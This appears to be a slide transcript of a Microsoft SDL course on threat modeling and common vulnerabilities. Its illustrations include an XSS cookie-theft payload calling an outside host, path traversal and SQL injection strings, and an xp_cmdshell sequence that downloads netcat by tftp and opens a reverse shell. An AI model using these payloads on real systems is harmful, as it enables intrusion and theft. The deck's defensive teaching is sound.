basics of secure design, development, and test secure software made easier

117
Basics of Secure Design, Development, and Test Secure software made easier <Date> <Presenter>

Upload: heidi-janet

Post on 30-Mar-2015

235 views

Category:

Documents


6 download

TRANSCRIPT

Page 1: Basics of Secure Design, Development, and Test Secure software made easier

Basics of Secure Design, Development, and TestSecure software made easier

<Date><Presenter>

Page 2: Basics of Secure Design, Development, and Test Secure software made easier

Motivation• In this course, we will:

– Look at the Microsoft Security Development Lifecycle (SDL)

– Briefly review some secure design, development, and test concepts

– Explore the security issues that arise if these design, coding, and test principles are not properly applied

• This will provide you with information that you can use to make your software more secure

Page 3: Basics of Secure Design, Development, and Test Secure software made easier

Agenda• Microsoft Security Development Lifecycle (SDL) overview• Module 1: Secure Design

– Attack Surface Reduction– Threat Modeling

• Module 2: Secure Development– Buffer overflows– Integer arithmetic errors– Canonicalization issues– Managed Code: Cross-site scripting (XSS)– Managed Code: SQL injection– Cryptography– Code Review

• Module 3: Security Testing– Fuzz Testing

Page 4: Basics of Secure Design, Development, and Test Secure software made easier

Microsoft Security Development Lifecycle

(SDL)

Page 5: Basics of Secure Design, Development, and Test Secure software made easier

Working to protect our users…

Education

Accountability

Administer and track security training

IncidentResponse (MSRC)

Establish release criteria and sign-off

as part of FSR

Ongoing Process Improvements

Process

Guide product teams to meet SDL requirements

Page 6: Basics of Secure Design, Development, and Test Secure software made easier

Very Encouraging Results!

Windows® XP

Windows Vista®

OS I OS II OS III

11966

400

242

157

Total Vulnerabilities Disclosed 12 Months After Release

SQL Server® 2000 SQL Server 2005 Competing commercial DB

34

3

187Total Vulnerabilities Disclosed 36 Months After Release

Before SDL After SDL

45% reduction in Vulnerabilities

Before SDL After SDL

91% reduction in Vulnerabilities

Consistent application of sound security practices during all phases of a development project will result in fewer vulnerabilities

Page 7: Basics of Secure Design, Development, and Test Secure software made easier

Still Much to Be Done: The Pain of "Blaster"• Two lines of C code in RPCSS

• while (*pwszTemp != L'\\')*pwszServerName++ = *pwszTemp++;

• Led to– >1,500,000 infected computers – 3,370,000 Product Support Services (PSS) calls in

September 2003 (normal virus volume is 350,000)– Plenty of negative commentary

• " This [is] going to raise the level of frustration to the point where a lot of organizations will seriously contemplate alternatives to Microsoft" Gartner

• "There's definitely caution warranted here. [Microsoft's security] efforts were sincere, but I am not sure if they were sincere enough" Forrester

Page 8: Basics of Secure Design, Development, and Test Secure software made easier

The Horrible Truth• No matter how much effort we expend, we

will never get code 100 percent correct– This is an asymmetric problem

• We must be 100 percent correct, 100 percent of the time,on a schedule, with limited resources, only knowing whatwe know today– Oh, and the product has to be reliable, supportable,

compatible, manageable, affordable, accessible, usable, global, doable, deployable…

• They can spend as long as they like to find one bug,with the benefit of future research

• We’re human and our tools are far from perfect

• There’s still a business case for improving security now

Page 9: Basics of Secure Design, Development, and Test Secure software made easier

The Horrible Truth (continued)

• Tools make it easy to build exploit code

• Reverse engineering tools• Structural Comparison of Executable Objects, Halvar

Flake– http://www.zynamics.com/downloads/

dimva_paper2.pdf– PCT Bug: "Detecting and understanding

the vulnerability took less than 30 minutes"– H.323 ASN.1 Bug: "The total analysis took

less than three hours time"

• Exploit payloads• www.metasploit.com

Page 10: Basics of Secure Design, Development, and Test Secure software made easier

Choose your ‘sploitEnter some details…

Here’s the ‘sploit code!

Page 11: Basics of Secure Design, Development, and Test Secure software made easier

The Horrible Truth (concluded)

• Don't be a statistic:A worm or serious vulnerability in any major product can have devastating impact to you and your users

• In general:– Cost for attacker to

build attack is very low– Cost to your users is

very high– Cost of reacting is

higher than cost of defending

Page 12: Basics of Secure Design, Development, and Test Secure software made easier

Module 1: Secure Design

Page 13: Basics of Secure Design, Development, and Test Secure software made easier

Attack Surface Reduction (ASR)

Module 1: Secure Design

Page 14: Basics of Secure Design, Development, and Test Secure software made easier

The Attack Surface Reduction Process• Look at all of your entry points

– Network I/O– File I/O

• Rank them– Authenticated versus anonymous– Administrator only versus user – Network versus local– UDP versus TCP

Page 15: Basics of Secure Design, Development, and Test Secure software made easier

Watch Out for Fanout!

−For example, JPG, MSH, or GIF

File formats

−SSL2, SSL3, TLS, PCT

Subprotocols

−HTTP• Classic

GET, POST, HEAD, DELETE

• WebDAVPROPPATCH, PROPFIND, MOVE, LOCK

−SMTP• HELO, EHLO,

MAIL, RCPT−Queries

• Extended sprocs and sprocs

Verbs

Page 16: Basics of Secure Design, Development, and Test Secure software made easier

It’s Not Just About Turning Stuff Off!

Higher Attack Surface Lower Attack Surface

Executing by default Off by default

Open socket Closed socket

UDP TCP

Anonymous access Authenticated access

Constantly on Intermittently on

Admin access User access

Internet access Local subnet access

SYSTEM Not SYSTEM!

Uniform defaults User-chosen settings

Large code Small code

Weak ACLs Strong ACLs

Page 17: Basics of Secure Design, Development, and Test Secure software made easier

ASR Examples

− Authenticated RPC− Firewall on by default

Windows

Internet Information Services version 6 (IIS6)

− Off by default− Network service by

default− Static files by default

− xp_cmdshell off by default

− CLR and COM off by default

− Network service

SQL Server 2005

− Web server localhost only− SQL Server Express localhost only

Visual Studio® 2005

Page 18: Basics of Secure Design, Development, and Test Secure software made easier

Attack Surface Reduction is as important as trying

to get the code right

Page 19: Basics of Secure Design, Development, and Test Secure software made easier

Threat Modeling

Module 1: Secure Design

Page 20: Basics of Secure Design, Development, and Test Secure software made easier

Threat Analysis• Secure software starts with understanding the

threats

• Threats are not vulnerabilities

• Threats live forever; they are the attacker's goal

Threat

Mitigation

Vulnerability

Attacker

Page 21: Basics of Secure Design, Development, and Test Secure software made easier

VisionModel

Identify Threats

Mitigate

Validate

The Process in a Nutshell

Page 22: Basics of Secure Design, Development, and Test Secure software made easier

Whiteboard Your Architecture• Start with person, processes, data flows, data stores

– Unique shape per item– Data flows should be one way each– Label them with data, not read/write

• Draw attack surfaces/trust boundaries

• Tell a story to see if your picture is ok

Data Flow

• Function call• Network

traffic• Remote

Procedure Call(RPC)

• People• Other

systems• Microsoft.co

m

External

Entity• DLLs• EXEs• COM object• Component

s• Services• Web

Services• Assemblies

Process

• Database• File• Registry• Shared

Memory• Queue /

Stack

Data Store

• Process Boundary

• File system

Trust Boundar

y

Page 23: Basics of Secure Design, Development, and Test Secure software made easier

S T R I D E

P P

P P P P P P

P P P P

P P P

Find Threats: Use STRIDE per Element• Start with items connected to

dangerous data flows (those crossing boundaries)

• Use the chart to help you think of attacks

• Keep a running list

Process

Data

Flow

Data Store

External

Entity

Page 24: Basics of Secure Design, Development, and Test Secure software made easier

Threat Property Definition ExampleSpoofing Authentication Impersonating

something or someone else.

Pretending to be any of billg, microsoft.com or ntdll.dll

Tampering Integrity Modifying data or code

Modifying a DLL on disk or DVD, or a packet as it traverses the LAN.

Repudiation Non-repudiation Claiming to have not performed an action.

“I didn’t send that email,” “I didn’t modify that file,” “I certainly didn’t visit that web site, dear!”

Information Disclosure

Confidentiality Exposing information to someone not authorized to see it

Allowing someone to read the Windows source code; publishing a list of customers to a web site.

Denial of Service Availability Deny or degrade service to users

Crashing Windows or a web site, sending a packet and absorbing seconds of CPU time, or routing packets into a black hole.

Elevation of Privilege

Authorization Gain capabilities without proper authorization

Allowing a remote internet user to run commands is the classic example, but going from a limited user to admin is also EoP.

Understanding the STRIDE Threats

Page 25: Basics of Secure Design, Development, and Test Secure software made easier

Mitigation Techniques

Threat Mitigation Feature

Spoofing Authentication

Tampering Integrity

Repudiation Nonrepudiation

Information Disclosure Confidentiality

Denial of Service Availability

Elevation of Privilege Authorization

Page 26: Basics of Secure Design, Development, and Test Secure software made easier

Mitigating Your Threats• For each threat, decide how to stop it

– Redesign and eliminate– Use standard threat mitigations– Invent new mitigation (not recommended!—seek help)– Accept risk in accordance with SDL bug bar

• File a work item in your bug tracking DB– Treat threats as bugs, mitigations as features

Page 27: Basics of Secure Design, Development, and Test Secure software made easier

Validate• Check threat model diagrams

– Do they match the design docs or code?

• Check your bug DB work items are all – Closed as completed– QA’d

Page 28: Basics of Secure Design, Development, and Test Secure software made easier

Context Diagram Services for Macintosh

Services for

Macintosh

User

Admin

AdminSettings

LoggingInfo

and results

File operations

Fileresult

Page 29: Basics of Secure Design, Development, and Test Secure software made easier

Diagrams Should Not Resemble• Flow charts

• Class diagrams

• Call graphs

Page 30: Basics of Secure Design, Development, and Test Secure software made easier

Determining Threat Types

Each elementin the Data Flow Diagram (DFD)is susceptibleto one or morethreat types

1.05.0

2.0.

3.0

4.0

10.0 8.0

6.0

11.0 9.0

7.0STRID

E

STRIDE

STRIDE

TID

TID

TID

TID

SR

SR

TID

TID

Page 31: Basics of Secure Design, Development, and Test Secure software made easier

DFD Elements Are Threat Targets: A “Work List”

Each threat isgoverned by the conditions whichmake the threatpossible

Data Flow S T R I D E1à5 P P P5à6 P P P6à7 P P P7à8 P P P

Data Store7 P P P9 P P P11 P P P

Interactor1 P P2 P P8 P P

Process3 P P P P P P4 P P P P P P5 P P P P P P6 P P P P P P10 P P P P P P

Each is a potential threatto the system

Page 32: Basics of Secure Design, Development, and Test Secure software made easier

A Special NoteAbout Information Disclosure Threats

All information disclosure threats

are potential privacy issues

Is the data sensitive or PII?

Page 33: Basics of Secure Design, Development, and Test Secure software made easier

Call to Action• Threat model something

– Like your program!– If you’re stuck, threat model a different program

• Go breadth-first

• Have fun

• Seek more intensive training– "Introduction to Threat Modeling"

Page 34: Basics of Secure Design, Development, and Test Secure software made easier

No design is complete without a threat model!

Follow anonymous data paths

Every threat needs a security test planCheck all information

disclosure threats – are they

privacy issues?

Threat Model Checklist

threat

software

vuln

Page 35: Basics of Secure Design, Development, and Test Secure software made easier

Summary• Defined the SDL

• Described the Attack Surface Reduction process with some examples of its positive impact

• Explained the importance of threat models and described the use of DFDs and threat trees during the threat modeling process

Page 36: Basics of Secure Design, Development, and Test Secure software made easier

Question 1:

Which of the following is an example of low attack surface?

A. User-controlled settings

B. Weak ACLs

C. Internet access

Page 37: Basics of Secure Design, Development, and Test Secure software made easier

Question 2:

Information disclosure is causedby a breach of…?

A. Privacy

B. Security

C.Both

Page 38: Basics of Secure Design, Development, and Test Secure software made easier

Question 3:

Which mitigation technique can be used to protect against the STRIDE spoofing threat?A. Integrity

B. Authentication

C.Availability

D.Authorization

Page 39: Basics of Secure Design, Development, and Test Secure software made easier

Module 2: Secure Development

Page 40: Basics of Secure Design, Development, and Test Secure software made easier

Buffer Overflows

Module 2: Secure Development

Page 41: Basics of Secure Design, Development, and Test Secure software made easier

What Are Buffer Overflows (BOs)?• External data is larger than the destination

• Overflowing the destination tramples some sensitive, in-memory construct that determines execution flow– Causing the application to change execution flow – To the attacker’s code that is included in the data

• Cause: Trusting input

• C/C++ code the most common victim

• Direct access to memory

Page 42: Basics of Secure Design, Development, and Test Secure software made easier

void func(char *p, int i) {int j = 0;CFoo foo;int (*fp)(int) = &func;char b[128]; strcpy(b,p);}

Stack Buffer Overflows at Work

EBPBuffers Other vars EIP Args

0wn3

d!

Bad things happen if *p points to data longer than b

Function return address

Exception HandlersFunction Pointers

Virtual Methods

All determine execution

flow

Page 43: Basics of Secure Design, Development, and Test Secure software made easier

Buffer Overflow ExamplesSQL Server Instance Resolution (MS02-039)

#define INSTREGKEY "SOFTWARE\\Microsoft\\Microsoft SQL Server\\"#define MAX_RECV_MSG 256

void SsrpSvr(LPSTR szInstanceName) { BYTE rgbRecvBuf[MAX_RECV_MSG]; ... ssrpMsg = SsrpRecvMsg(rgbRecvBuf);

switch(ssrpMsg) { case CLNT_UCAST_INST: // Verb #4 SsrpEnum((LPSTR)&rgbRecvBuf[1]);}

SSRPMSGTYPE SsrpRecvMsg(BYTE *rgbRecvBuf) { ... bytesRecd = recvfrom( gSvrSock, (char*)rgbRecvBuf, MAX_RECV_MSG, 0, (SOCKADDR *)&gclientAddr, &cClientAddr );

return((SSRPMSGTYPE)rgbRecvBuf[0]);}

BOOL SsrpEnum(LPSTR szInstName, ...) { char szregVersion[128]; sprintf(szregVersion,"%s%s\\MSSQLServer\\CurrentVersion",INSTREGKEY,szInstName);

Read no more than 256 bytes from the network

Then copy into a 128-byte buffer

Sitting on port 1434—The Internet

Page 44: Basics of Secure Design, Development, and Test Secure software made easier

Heap Block

Heap Overflows at Work

Heap BlockHeap Block

Write a DWORDanywhere in memorywhen block is free()’d

0wn3d!

On block free:D1 [A1]D2 [A2]

Pointer to next block

Pointer to prior block

A1 D1 A2 D2

Page 45: Basics of Secure Design, Development, and Test Secure software made easier

Zotob (PnP Code)

CONFIGRETResDesToNtResource( IN PCVOID ResourceData, IN RESOURCEID ResourceType, IN ULONG ResourceLen, IN PCM_PARTIAL_RESOURCE_DESCRIPTOR pResDes, IN ULONG ulTag ){ case ResType_ClassSpecific: { PCS_RESOURCE pCsData = (PCS_RESOURCE)ResourceData; LPBYTE ptr = NULL; ptr = (LPBYTE)((LPBYTE)pResDes + sizeof(CM_PARTIAL_RESOURCE_DESCRIPTOR)); memcpy(ptr, pCsData->CS_Header.CSD_Signature + pCsData->CS_Header.CSD_LegacyDataOffset, pCsData->CS_Header.CSD_LegacyDataSize);

Amount of data to copy iscontrolled by the attacker

Sitting on port 445—the Internet

Page 46: Basics of Secure Design, Development, and Test Secure software made easier

The 'n'-Functions Are Safe? Right?!

// Example #1 (code verifies pszSrc is <= 50 chars)#define MAX (50)char *pszDest = malloc(sizeof(pszSrc));strncpy(pszDest,pszSrc,MAX);

// Example #2#define MAX (50)char szDest[MAX];strncpy(szDest,pszSrc,MAX);

// Example #3#define MAX (50)char szDest[MAX];strncpy(szDest,pszSrc,strlen(pszSrc));

Wrong buffer size!

sizeof is 4 bytes, not 50

String not null-terminatedif len(pszSrc) >= MAX

Page 47: Basics of Secure Design, Development, and Test Secure software made easier

The 'n'-Functions Are Safe? Right?!

// Example #4#define MAX (50)char szDest[MAX];strncpy(szDest,pszSrc,MAX);pszDest[MAX] = '\0';

// Example #5#define MAX (50)char szDest[MAX];strncpy(szDest,pszSrc,MAX-1);strncat(szDest,pszSrc,MAX-1);

MAX-1 is not the total destination buffer size!

Wrote NULL to element51, not 50!

Page 48: Basics of Secure Design, Development, and Test Secure software made easier

The 'n'-Functions Are Safe? Right?!

// Example #6char szDest[50];_snprintf(szDest,

strlen(szDest),

"%s",szSrc);

You should always use safe variants of the str calls: str*_s

// Example #7void func(char *p) { char szDest[MAX]; strncpy(szDest,p,MAX); szDest[MAX-1] = '\0';}

szDest contains junk!strlen(szDest) is random!

What if p == NULL?

Page 49: Basics of Secure Design, Development, and Test Secure software made easier

Fixing Buffer

Overflows

Search for "risky"

functions and

determine data origin

/GS, NX, ASLR and

heap checking

Better libraries and

classes(strsafe,Safe CRT, STL)

Fuzz tests

Reduce attack surface

/analyze and SAL

Page 50: Basics of Secure Design, Development, and Test Secure software made easier

Memory Defenses• Stack BO detection (aka /GS, enabled

by default in VC++ 2008)– Detects some stack-based overruns– Rearranges the stack so buffers are in higher

memory (helps protect variables)– Moves various arguments to lower memory

• Exception handler protection (aka /SafeSEH, enabled by default in VC++ 2008 linker)– Exception addresses are verified at runtime

Page 51: Basics of Secure Design, Development, and Test Secure software made easier

Memory Defenses• Data Execution

Protection (aka NX/XD, enabled by default†)– Harder to execute date

• In Windows Vista, DEP cannot be disabled once turned on process

† Most CPUs today support DEP, but make sure it's enabled in the BIOS

Page 52: Basics of Secure Design, Development, and Test Secure software made easier

Memory Defenses• Heap defenses (all enabled by default)

– Lookasides gone– Arrays of free lists gone– Early detection of errors due to block header integrity

check • ENTRY->Flink->Blink == ENTRY->Blink->Flink ==

ENTRY

• Use HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0)

• Integer overflow calling operator::new automatically detected at runtime (by default)

Page 53: Basics of Secure Design, Development, and Test Secure software made easier

Memory Defenses• Image randomization (ASLR)

– System images are loaded randomly into 1 of 256 'slots'– Changes on each boot– To be effective ASLR requires DEP– Enabled by default– Link with /dynamicbase for non-system images

• Stack is randomized for each new thread (by default)

• Heap is randomized (by default)

• Long-lived pointers are encodedand decoded– A successful pointer overwrite must survive the decoding

process (XOR with a random number)– Use Encode[System]Pointer and Decode[System]Pointer

Page 54: Basics of Secure Design, Development, and Test Secure software made easier

Defenses Summary• Mandatory use of compiler security options

– /GS flag (runtime stack BO detection)– /SafeSEH (runtime exception checking)– /NXCompat (NX support)– /DynamicBase (ASLR support)– /robust switch for MIDL compiler

Page 55: Basics of Secure Design, Development, and Test Secure software made easier

Integer Arithmetic Errors

Module 2: Secure Development

Page 56: Basics of Secure Design, Development, and Test Secure software made easier

Integer Arithmetic Attacks• Integer arithmetic is a generic name for a

set of common integer arithmetic mistakes– Overflow and underflow – Signed versus unsigned errors – Truncation

• They can lead to attacker control of program flow

Page 57: Basics of Secure Design, Development, and Test Secure software made easier

Integer Arithmetic Attacks

int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2){

char buf[0xFF];

if((len1 + len2) > 0xFF) return -1;

memcpy(buf, buf1, len1); memcpy(buf + len1, buf2, len2);

// do stuff with buf

return 0;}

len1len2

0x103+ 0xFFFFFFFC

0xFF

Both memcpy functionsattempt to copy >255 bytes

Page 58: Basics of Secure Design, Development, and Test Secure software made easier

Integer Overflow AttacksGDI+ JPG Rendering (MS04-028)

BOOL GpJpegDecoder::read_jpeg_marker(IN j_decompress_ptr cinfo,IN SHORT app_header,OUT VOID **ppBuffer,OUT UINT16 *pLength ) {

VOID *pBuffer;UINT16 length;

INPUT_VARS(cinfo);INPUT_2BYTES(cinfo, length, return FALSE);

*pLength = length+2;pBuffer = GpMalloc(length+2);

...

INT len = length - 2;

...

GpMemcpy(p, cinfo->src->next_input_byte, len);

0xFFFE + 0x02 == 0x00

0xFFFFFFFE - 0x02 == 0xFFFFFFFC

Page 59: Basics of Secure Design, Development, and Test Secure software made easier

Integer Overflow AttacksCustom Memory Allocations

#define _BLOCKSIZE 64

void *_MemAlloc(size_t cb) { // Round to nearest block size size_t cbr = (cb + _BLOCKSIZE - 1) & ~(_BLOCKSIZE – 1); return malloc(cbr);}

If cb = 0xffffffff, then cbr == 0

Page 60: Basics of Secure Design, Development, and Test Secure software made easier

Unmanaged Code Interop Issuespublic int CopyData(byte[] inputBuffer, int inputOffset, int inputCount, byte[] outputBuffer) { if (inputOffset >= inputBuffer.Length)

throw new Exception();

if (inputCount > inputBuffer.Length)throw new Exception();

if (inputOffset + inputCount < inputOffset)throw new Exception();

if (inputBuffer.Length < inputOffset + inputCount)throw new Exception();

_UnmanagedCopy(..., inputBuffer, inputOffset, inputCount);

_UnmanagedCopy(..., BYTE *inputBuffer, DWORD inputOffset, DWORD inputCount) {

memcpy(pb, inputBuffer + inputOffset, inputCount); ...}

C++

C#

All the checks areagainst signed ints

0xFFFFFFFF

-1

Page 61: Basics of Secure Design, Development, and Test Secure software made easier

Standard Annotation Language (SAL)• Defines interface contracts

• Helps tools find bugs

• Annotate your headers using SAL– Used by latest PREfast

• References– SAL Annotations: C Run-Time Library Reference

http://msdn.microsoft.com/en-us/library/ms235402.aspx

– A Brief Introduction to the Standard Annotation Language (SAL) http://blogs.msdn.com/michael_howard/archive/2006/05/19/602077.aspx

Page 62: Basics of Secure Design, Development, and Test Secure software made easier

Standard Annotation Language (SAL)

• Informs compiler that Buffer is BufferSize WCHARs

• It's an out parameter, so it does not need initializing(else _In_out_)

• NULL is not valid (else _opt)

DWORDWINAPIBluetoothGetServicePnpInstance( BLUETOOTH_ADDRESS * pDeviceAddress , GUID * ServiceGuid , ULONG InstanceId , _Out_cap_(BufferSize) WCHAR * Buffer , ULONG BufferSize , HKEY * phKey );

Page 63: Basics of Secure Design, Development, and Test Secure software made easier

Remedy: Integer Arithmetic• Any calculation used to determine an array

offset or memory allocation is suspect

• Use unsigned variables for array indexes and buffer sizes

• Ints are signed in Managed Code

• Watch out for: – C4018 and C4389 compiler warnings

(signed and unsigned mismatch)– C4244 compiler warnings (conversion from "type1" to

"type2"; possible loss of data)– #pragma and casts that shut the compiler up!

Page 64: Basics of Secure Design, Development, and Test Secure software made easier

Remedy: Integer Arithmetic

#define MAX_ALLOC (1024*1024*4)if (num <= (MAX_ALLOC/sizeof(T))){ T *p = malloc(num * sizeof(T));

}

size_t cb = num * sizeof(T);T *p = malloc(cb); T *p = new T[num];

size_t cb = num * sizeof(T);if (num == cb/sizeof(T)) { T *p = malloc(cb);}

// Howard (C/C++ IntOverflow.h)if (UMul(num,sizeof(T),&cb)) {T *p = malloc(cb);}

// LeBlanc (C++ SafeInt.hpp)SafeInt<size_t>cbFoo(sizeof(T));SafeInt<size_t>cb = cbFoo * num;T *p = malloc(cb)

// Windows C/C++ sdk/inc/intsafe.h // and ddk/inc/ntintsafe.hif (SUCCEEDED(SizeTMult(num,sizeof(T),&cb))) T *p = malloc(cb);}

Page 65: Basics of Secure Design, Development, and Test Secure software made easier

Just fix 'em!Build defensive code and add defensive layers (like /GS)

Use the latest version of VC++ /GSUse safer string libraries

Use /analyze and SALAll arithmetic used to

calculate memory allocations

is probably wrong!

BO / IA Checklist

Page 66: Basics of Secure Design, Development, and Test Secure software made easier

Canonicalization Issues

Module 2: Secure Development

Page 67: Basics of Secure Design, Development, and Test Secure software made easier

Canonicalization Issues• Never make a security decision based on

the name of something– Chances are good that you’ll get it wrong– Often, there is more than one way to name something

if (String.Compare(username,@"ntdev\mikehow",true)==0 && String.Compare(filename,@"secretfile.txt",true)==0)

// go away

Page 68: Basics of Secure Design, Development, and Test Secure software made easier

Canonicalization Issues: Example 1

SecretFile.txt

SecretFile.txt.

Secret~1.txt

SecretFile.txt::

$DATA

Page 69: Basics of Secure Design, Development, and Test Secure software made easier

Canonicalization Issues: Example 2http://contoso.com/foo/home.aspx

http://contoso.com/foo/HOME.ASPX

http://contoso.com/foo/../foo/home.aspx

http://contoso.com/foo/./home.aspx

http://207.46.197.32/foo/home.aspx

http://3435386042/foo/home.aspx

http://contoso.com./foo/home.aspx

http://contoso.com/foo/%67ome.aspx

http://contoso.com/foo/%c0%ae/

home.aspx

http://contoso.com/foo/%u0067ome.aspx

http://contoso.com/foo/%FF48.aspx

http://contoso.com/foo/%2567ome.aspx

Page 70: Basics of Secure Design, Development, and Test Secure software made easier

Canonicalization Issues: Example 3

http://www.example.com/prn/default.asp

http://www.example.com/aux.asp

Page 71: Basics of Secure Design, Development, and Test Secure software made easier

Managed Code:Cross-Site Scripting (XSS)

Module 2: Secure Development

Page 72: Basics of Secure Design, Development, and Test Secure software made easier

Cross-Site Scripting (XSS)• Very common vulnerability

• An issue in a Web server leads to a compromised client (and more)

• The fault is simply trusting input and then echoing it!

Page 73: Basics of Secure Design, Development, and Test Secure software made easier

XSS in Action: Cookie Stealing

Welcome.aspHello,<%= request.querystring(′name′)%>

<a href=http://www.humongousinsurance.com/welcome.asp?name=<script>document.write (′<img src=″http://gotcha.com/″%2bdocument.cookie%2b>′)</script>here</a>

Page 74: Basics of Secure Design, Development, and Test Secure software made easier

XSS in Action: "Defacement" /location=<script>document.images[4].src=

"http://www.badsite.com/news.jpg"</script>

Page 75: Basics of Secure Design, Development, and Test Secure software made easier

Crystal Reports Vulnerability MS04-017public class CrystalImageHandler : WebControl {

private string tmpdir = null; protected override void Render(HtmlTextWriter writer) { string filepath; string dynamicImage = (string)Context.Request.QueryString.Get("dynamicimage"); if (tmpdir == null) { tmpdir = ViewerGlobal.GetImageDirectory(); } filePath = tmpdir + dynamicImage; FileStream imagestream = new FileStream (filePath, FileMode.Open, FileAccess.Read);

// stream file to user

File.Delete (filePath); }}

(1) Get filename from querystring

(2) Open file

(4) Delete file!

crystalimagehandler.aspx?dynamicimage=..\..\boot.ini

(3) Stream file to user

Page 76: Basics of Secure Design, Development, and Test Secure software made easier

Remedies: XSS• Validate all input

• Never directly echo Web-based user input– At the very least, HTML encode the output– ASP.NET 1.1 adds the ValidateRequest option– Use AntiXSS

• Use HttpOnly cookie option– Prevents access to client-side script in IE6 SP1 and later

(used by Hotmail)

• Use <frame> security attribute– Supports Internet Explorer security zone settings

Page 77: Basics of Secure Design, Development, and Test Secure software made easier

Managed Code: SQL Injection

Module 2: Secure Development

Page 78: Basics of Secure Design, Development, and Test Secure software made easier

SQL Injection: C#string Status = "No";string sqlstring ="";try { SqlConnection sql= new SqlConnection( @"data source=localhost;" + "user id=sa;password=password;"); sql.Open(); sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; SqlCommand cmd = new SqlCommand(sqlstring,sql); if ((int)cmd.ExecuteScalar() != 0) Status = "Yes";} catch (SqlException se) { Status = sqlstring + " failed\n\r"; foreach (SqlError e in se.Errors) { Status += e.Message + "\n\r"; }} catch (Exception e) { Status = e.ToString();}

Hard to guess password!

Connecting as sysadmin

String concatfor dynamic SQL

Telling the bad guytoo much on failure

Page 79: Basics of Secure Design, Development, and Test Secure software made easier

Why It's Wrong (1 of 3)

Good Guy

SELECT HasShippedFROM Shipment WHERE ID='1001'

Not So Good Guy

SELECT HasShippedFROM Shipment WHERE ID= '1001' or 2>1 -- '

sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'";

Page 80: Basics of Secure Design, Development, and Test Secure software made easier

Why It's Wrong (2 of 3)

Really Bad Guy

SELECT HasShipped FROM Shipment WHERE ID= '1001' ; drop table orders -- '

sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'";

Downright Evil Guy

SELECT HasShipped FROM Shipment WHERE ID= '1001’ ; exec xp_cmdshell('...') -- '

Page 81: Basics of Secure Design, Development, and Test Secure software made easier

Why It's Wrong (3 of 3) Your Worst Nightmare!

nc.exe -l -p 31337

exec xp_cmdshell 'tftp -i 63.45.11.9 GET nc.exe c:\nc.exe'

exec xp_cmdshell 'c:\nc.exe -v -e cmd.exe 63.45.11.9 31337'

0wns 63.45.11.9

Page 82: Basics of Secure Design, Development, and Test Secure software made easier

Remedy: Do Not Trust User Input• Validate all input

– All input is evil until proven otherwise– Look for data that matches the expected use, and reject everything else– http://www.contoso.com/pwnme.html is

• a valid URL…• …On a non-existant server…• …Which you likely don’t want to visit

• Constrain, reject, and sanitize– Type checks (for example, numeric only)– Length checks (for example, buffer must be < n bytes)– Range checks (for example, A-Z a-z)– Format checks (for example, e-mail name)

Validator.ValidationExpression = ”^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$";

Page 83: Basics of Secure Design, Development, and Test Secure software made easier

Remedies: SQL Injection• Validate all input

• Use parameterized queries

• Consider allowing access to sprocs and not allowing access to underlying tables

• Use parameterized queries with sprocs

SqlDataAdapter cmd = new SqlDataAdapter("exec sp_getshipstatus(@id)",

conn);SqlParameter parm = cmd.SelectCommand.Parameters.Add("@id",id);

Page 84: Basics of Secure Design, Development, and Test Secure software made easier

Do not look only for "bad things";it assumes you know all the "bad things"

; deldeleteete from table; deldeleteete from table

Page 85: Basics of Secure Design, Development, and Test Secure software made easier

All input is evil!!!!!Don't look for "bad" things!

Input Error Checklist

Page 86: Basics of Secure Design, Development, and Test Secure software made easier

Cryptography

Module 2: Secure Development

Page 87: Basics of Secure Design, Development, and Test Secure software made easier

Storing Secrets• Software cannot defend itself, therefore:

– Storing secrets securely in software is impossible!– Embedded "secrets" don't stay secret for long

Page 88: Basics of Secure Design, Development, and Test Secure software made easier

Storing Secrets• DPAPI is the required method

– Easy access to platform-provided cryptography

• Crypt[Un]ProtectData – Managed wrappers available

pre-.NET 2.0– .NET 2.0 adds ProtectedData class

• Introduced in Windows 2000

• Preferable to Local Security Authority (LSA) secrets

Page 89: Basics of Secure Design, Development, and Test Secure software made easier

Weak Crypto• Don’t create your own crypto algorithms

– Use CryptoAPI, CAPICOM, and System.Security.Cryptography

• MD4, MD5, RC4, DES, and SHA1banned for new code

• AES and SHA256 okay

Page 90: Basics of Secure Design, Development, and Test Secure software made easier

Code Review

Module 2: Secure Development

Page 91: Basics of Secure Design, Development, and Test Secure software made easier

Managed Code Issues• Code Access Security

(CAS) != Secure Code!• Be wary of granting

certain permissions to your code– SecurityPermission,

UnmanagedCode, SkipVerification, ControlEvidence, and ReflectionPermission

• Run FxCop or /analyze regularly

• Read Secure Coding Guidelines on MSDN– Managed Code:

http://msdn2.microsoft.com/en-us/library/ms998408.aspx

– Native Code: http://msdn2.microsoft.com/en-us/library/k3a3hzw7(VS.80).aspx

• View ".NET Framework Security Best Practices":http://msdn2.microsoft.com/en-us/ security/aa570406.aspx

Page 92: Basics of Secure Design, Development, and Test Secure software made easier

Audit Extensively: LinkDemand• Unlike a Demand, does not perform a full

run-time stack-walk

• Checks the immediate caller during JIT compile

ReadFile ReadFile

FileIOPermission?

FileIOPermission?

FileIOPermission?

Demand LinkDemand

Yourcode

Page 93: Basics of Secure Design, Development, and Test Secure software made easier

Audit Extensively: Partial Trust• AllowPartiallyTrustedCallersAttribute

– [assembly:AllowPartiallyTrustedCallers]

• APTCA == "bring it on, hax0rs!"

• Applies to strong-named assemblies

• Disables LinkDemand:FullTrust

• Allows code from the Internet to call your code– Is that what you really want?

• Managed C++ and APTCA don’t mix

Page 94: Basics of Secure Design, Development, and Test Secure software made easier

Audit Extensively: Asserts• Are your protected actions safe?

• Note: Your code must be granted the permission you are asserting and have permission to assert

ReadFile

FileIOPermission?

FileIOPermission?

AssertFileIOPermission

ReadFile

Page 95: Basics of Secure Design, Development, and Test Secure software made easier

Audit Extensively: Asserts

[FileIOPermission(SecurityAction.Assert)]public void CreateLogFile(string log) { StreamWriter TextStream = new StreamWriter(log);

}

[FileIOPermission(SecurityAction.Assert, All=@"C:\logs\Log.txt")]public void CreateLogFile() { StreamWriter TextStream = new StreamWriter(@"C:\logs\Log.txt");

}

Page 96: Basics of Secure Design, Development, and Test Secure software made easier

Audit Extensively• P/Invoke and COM Interop

• Your gateway to buffer overflows!

Page 97: Basics of Secure Design, Development, and Test Secure software made easier

